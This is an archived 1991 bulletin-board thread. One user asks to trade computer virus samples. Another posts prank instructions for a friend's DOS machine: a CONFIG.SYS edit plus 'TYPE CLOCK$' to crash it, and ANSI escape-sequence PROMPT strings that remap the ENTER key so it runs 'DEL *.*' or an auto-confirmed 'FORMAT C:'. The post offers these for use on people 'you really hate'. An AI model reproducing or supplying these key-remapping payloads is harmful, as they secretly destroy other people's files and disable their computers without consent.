=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = [2/24] From :Blackbird #63 To :Griffin #81 Subject :huh? DateTime:7:33 am Wed Jul 10, 1991 Anybody got a virus? I've got a nice cascade...I'm looking for AIDS and any other virii I can pick up (I'm collecting these fuckers). [3/24] From :Dj Mikey Z #1 To :All Subject :Try thi slittle sucker... DateTime:11:15 am Wed Jul 10, 1991 Ok. Go to a friend's house who has an IBM. Put in his CONFIG.SYS file this line: BREAK=ON Then get into dos. (after you've restarted the computer)... Type : TYPE CLOCK$ The computer DIES! Why? CLOCK$ is a command in ROM/RAM BIOS (it's loaded from ROM into RAM (that's why when you type TIME or DATE you can change it) and stored in the string CLOCK$. When you do this, you're only modifying the RAM BIOS, so there's no PERMANENT damage.) ------------------------------------------------------------------------------- Ok, you can also try that little command with TYPE COMx TYPE AUX TYPE LPT TYPE NIL ........... But NEVER try this ANSI command on a friend's computer: Prompt $e[8;37;8;47m Prompt $e[30;40m prompt $e[=0h prompt $e[13;"FUCK OFF YOU STUPID BASTARD!!!!! HAHAHAHAHAHAHAHAH... What? Loose the function of your ENTER KEY?!?!?!?!";p All that top shit is pretty nice if you really hate someone. PS: Unless you have a program that resets the shit, you could be doomed. (or atleast have to re-start your computer. Although these ARE good, my favorite is this: Prompt $e[13;"DEL *.*";13p If you hit enter on a new line that way, Bye bye directory! Or try these: Prompt $e[13;"FORMAT C:";13;"Y";13;13p That's the ultimate doosie! HINT: Don't try these at home. Oh, and have fun!